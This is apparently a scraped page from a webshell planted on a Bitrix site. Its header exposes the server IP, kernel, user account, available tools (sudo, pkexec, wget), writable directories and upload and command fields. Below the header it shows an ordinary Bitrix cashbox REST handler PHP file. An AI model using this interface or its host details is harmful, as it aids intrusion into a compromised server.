403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/rest/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/rest/handlerservice.php
<?php

namespace Bitrix\Sale\Cashbox\Rest;

use Bitrix\Main;
use Bitrix\Rest\AccessException;
use Bitrix\Rest\RestException;
use Bitrix\Sale\Cashbox\CashboxRest;
use Bitrix\Sale\Cashbox\Manager;
use Bitrix\Sale\Internals\CashboxRestHandlerTable;
use Bitrix\Sale\Helpers;

if (!Main\Loader::includeModule('rest'))
{
	return;
}

/**
 * Class HandlerService
 * @package Bitrix\Sale\Cashbox\Rest
 */
class HandlerService extends RestService
{
	private const ERROR_HANDLER_ALREADY_EXISTS = 'ERROR_HANDLER_ALREADY_EXIST';
	private const ERROR_HANDLER_NOT_FOUND = 'ERROR_HANDLER_NOT_FOUND';
	private const ERROR_HANDLER_ADD = 'ERROR_HANDLER_ADD';
	private const ERROR_HANDLER_UPDATE = 'ERROR_HANDLER_UPDATE';
	private const ERROR_HANDLER_DELETE = 'ERROR_HANDLER_DELETE';

	/**
	 * @param $params
	 * @throws RestException
	 */
	private static function checkParamsBeforeAddHandler($params)
	{
		if (empty($params['CODE']))
		{
			throw new RestException('Parameter CODE is not defined', self::ERROR_CHECK_FAILURE);
		}

		if (empty($params['NAME']))
		{
			throw new RestException('Parameter NAME is not defined', self::ERROR_CHECK_FAILURE);
		}

		if (empty($params['SETTINGS']) || !is_array($params['SETTINGS']))
		{
			throw new RestException('Parameter SETTINGS is not defined or empty', self::ERROR_CHECK_FAILURE);
		}

		self::checkHandlerSettingsBeforeAdd($params['SETTINGS']);

		$handler = CashboxRestHandlerTable::getList([
			'filter' => [
				'=CODE' => $params['CODE']
			]
		])->fetch();
		if ($handler)
		{
			throw new RestException('Handler already exists!', self::ERROR_HANDLER_ALREADY_EXISTS);
		}
	}

	/**
	 * @param $params
	 * @throws RestException
	 * @throws AccessException
	 */
	private static function checkParamsBeforeUpdateHandler($params)
	{
		if (empty($params['ID']))
		{
			throw new RestException('Parameter ID is not defined', self::ERROR_CHECK_FAILURE);
		}

		$handler = CashboxRestHandlerTable::getList([
			'filter' => [
				'ID' => $params['ID']
			]
		])->fetch();
		if (!$handler)
		{
			throw new RestException('Handler not found', self::ERROR_HANDLER_NOT_FOUND);
		}

		if ($params['APP_ID'] && !empty($handler['APP_ID']) && $handler['APP_ID'] !== $params['APP_ID'])
		{
			throw new AccessException();
		}

		if (empty($params['FIELDS']) || !is_array($params['FIELDS']))
		{
			throw new RestException('Parameter FIELDS is not defined', self::ERROR_CHECK_FAILURE);
		}

		if (isset($params['FIELDS']['SETTINGS']))
		{
			self::checkHandlerSettingsBeforeUpdate($params['FIELDS']['SETTINGS']);
		}
	}

	/**
	 * @param $params
	 * @throws RestException
	 * @throws AccessException
	 */
	private static function checkParamsBeforeDeleteHandler($params)
	{
		if (empty($params['ID']))
		{
			throw new RestException('Parameter ID is not defined', self::ERROR_CHECK_FAILURE);
		}

		$handler = CashboxRestHandlerTable::getList([
			'filter' => [
				'ID' => $params['ID']
			]
		])->fetch();
		if (!$handler)
		{
			throw new RestException('Handler not found', self::ERROR_HANDLER_NOT_FOUND);
		}

		if ($params['APP_ID'] && !empty($handler['APP_ID']) && $handler['APP_ID'] !== $params['APP_ID'])
		{
			throw new AccessException();
		}

		$cashboxListResult = Manager::getList([
			'select' => ['ID', 'HANDLER', 'SETTINGS'],
			'filter' => [
				'=HANDLER' => '\\'.CashboxRest::class,
			],
		]);

		$cashboxIdList = [];
		while ($cashbox = $cashboxListResult->fetch())
		{
			if ($cashbox['SETTINGS']['REST']['REST_CODE'] === $handler['CODE'])
			{
				$cashboxIdList[] = $cashbox['ID'];
			}
		}

		if ($cashboxIdList)
		{
			throw new RestException(
				'There are cashboxes with this handler: '.implode(', ', $cashboxIdList),
				self::ERROR_CHECK_FAILURE
			);
		}
	}

	/**
	 * @param $settings
	 */
	private static function checkHandlerSettingsBeforeAdd($settings): void
	{
		self::checkRequiredSettingsFields($settings, ['PRINT_URL', 'CHECK_URL', 'CONFIG']);
		self::checkSettingsFieldValues($settings, ['HTTP_VERSION', 'CONFIG']);
	}

	/**
	 * @param $settings
	 */
	private static function checkHandlerSettingsBeforeUpdate($settings): void
	{
		self::checkSettingsFieldValues($settings, ['PRINT_URL', 'CHECK_URL', 'CONFIG', 'HTTP_VERSION']);
	}

	/**
	 * @param array $settings
	 * @param array $requiredFields
	 * @throws RestException
	 */
	private static function checkRequiredSettingsFields(array $settings, array $requiredFields): void
	{
		foreach ($requiredFields as $fieldName)
		{
			if (empty($settings[$fieldName]))
			{
				throw new RestException('Parameter SETTINGS[' . $fieldName . '] is not defined', self::ERROR_CHECK_FAILURE);
			}
		}
	}

	/**
	 * @param array $settings
	 * @param array $fields
	 * @throws RestException
	 */
	private static function checkSettingsFieldValues(array $settings, array $fields): void
	{
		foreach ($fields as $fieldName)
		{
			if ($fieldName === 'HTTP_VERSION' && array_key_exists('HTTP_VERSION', $settings))
			{
				$version = $settings['HTTP_VERSION'];
				if (
					$version !== Main\Web\HttpClient::HTTP_1_0
					&& $version !== Main\Web\HttpClient::HTTP_1_1
				)
				{
					throw new RestException('The value of SETTINGS[HTTP_VERSION] is not valid', self::ERROR_CHECK_FAILURE);
				}
			}
			elseif ($fieldName === 'CONFIG' && array_key_exists('CONFIG', $settings))
			{
				self::checkSettingsConfig($settings['CONFIG']);
			}
			elseif (array_key_exists($fieldName, $settings) && empty($settings[$fieldName]))
			{
				throw new RestException('The value of SETTINGS[' . $fieldName . '] is not valid', self::ERROR_CHECK_FAILURE);
			}
		}
	}

	/**
	 * @param array $config
	 * @throws RestException
	 */
	private static function checkSettingsConfig(array $config): void
	{
		foreach ($config as $group => $block)
		{
			foreach ($block['ITEMS'] as $code => $item)
			{
				try
				{
					\Bitrix\Sale\Internals\Input\Manager::getEditHtml('SETTINGS['.$group.']['.$code.']', $item);
				}
				catch (\Exception $exception)
				{
					throw new RestException('The config provided in SETTINGS[CONFIG] is not valid', self::ERROR_CHECK_FAILURE);
				}
			}
		}
	}

	/**
	 * @param $handlerId
	 * @param $newSettings
	 * @return array|null
	 */
	private static function mergeHandlerSettings($cashboxId, array $newSettings): array
	{
		$dbResult = $existingSettings = CashboxRestHandlerTable::getList([
			'select' => ['SETTINGS'],
			'filter' => ['=ID' => $cashboxId],
			'limit' => 1,
		])->fetch();

		if (!$dbResult)
		{
			return $newSettings;
		}

		$existingSettings = $dbResult['SETTINGS'];
		if (!$existingSettings)
		{
			return $newSettings;
		}

		return array_replace_recursive($existingSettings, $newSettings);
	}

	/**
	 * @param $params
	 * @param \CRestServer $server
	 * @return array|int
	 * @throws RestException
	 */
	public static function addHandler($params, $page, \CRestServer $server)
	{
		Helpers\Rest\AccessChecker::checkAccessPermission();
		$params = self::prepareHandlerParams($params, $server);
		self::checkParamsBeforeAddHandler($params);

		if (!isset($params['SETTINGS']['SUPPORTS_FFD105']))
		{
			$params['SETTINGS']['SUPPORTS_FFD105'] = 'N';
		}

		$result = CashboxRestHandlerTable::add([
			'NAME' => $params['NAME'],
			'CODE' => $params['CODE'],
			'SORT' => $params['SORT'] ?: 100,
			'SETTINGS' => $params['SETTINGS'],
			'APP_ID' => $params['APP_ID'],
		]);

		if ($result->isSuccess())
		{
			return $result->getId();
		}

		$errors = implode("\n", $result->getErrorMessages());
		throw new RestException($errors, self::ERROR_HANDLER_ADD);
	}

	/**
	 * @param $params
	 * @param $page
	 * @param \CRestServer $server
	 * @return bool
	 * @throws RestException
	 */
	public static function updateHandler($params, $page, \CRestServer $server)
	{
		Helpers\Rest\AccessChecker::checkAccessPermission();
		$params = self::prepareHandlerParams($params, $server);
		self::checkParamsBeforeUpdateHandler($params);

		$handlerFields = $params['FIELDS'];
		if ($handlerFields['SETTINGS'])
		{
			$handlerFields['SETTINGS'] = self::mergeHandlerSettings($params['ID'], $handlerFields['SETTINGS']);
		}

		$result = CashboxRestHandlerTable::update($params['ID'], $handlerFields);
		if ($result->isSuccess())
		{
			return true;
		}

		$errors = implode("\n", $result->getErrorMessages());
		throw new RestException($errors, self::ERROR_HANDLER_UPDATE);
	}

	/**
	 * @param $params
	 * @return bool
	 * @throws RestException
	 */
	public static function deleteHandler($params, $page, \CRestServer $server)
	{
		Helpers\Rest\AccessChecker::checkAccessPermission();
		$params = self::prepareHandlerParams($params, $server);
		self::checkParamsBeforeDeleteHandler($params);

		$result = CashboxRestHandlerTable::delete($params['ID']);
		if ($result->isSuccess())
		{
			return true;
		}

		$errors = implode("\n", $result->getErrorMessages());
		throw new RestException($errors, self::ERROR_HANDLER_DELETE);
	}

	/**
	 * @return array
	 */
	public static function getHandlerList($params, $page, \CRestServer $server)
	{
		Helpers\Rest\AccessChecker::checkAccessPermission();

		$result = [];

		$dbRes = CashboxRestHandlerTable::getList([
			'select' => ['ID', 'NAME', 'CODE', 'SORT', 'SETTINGS'],
		]);
		while ($item = $dbRes->fetch())
		{
			$result[] = $item;
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit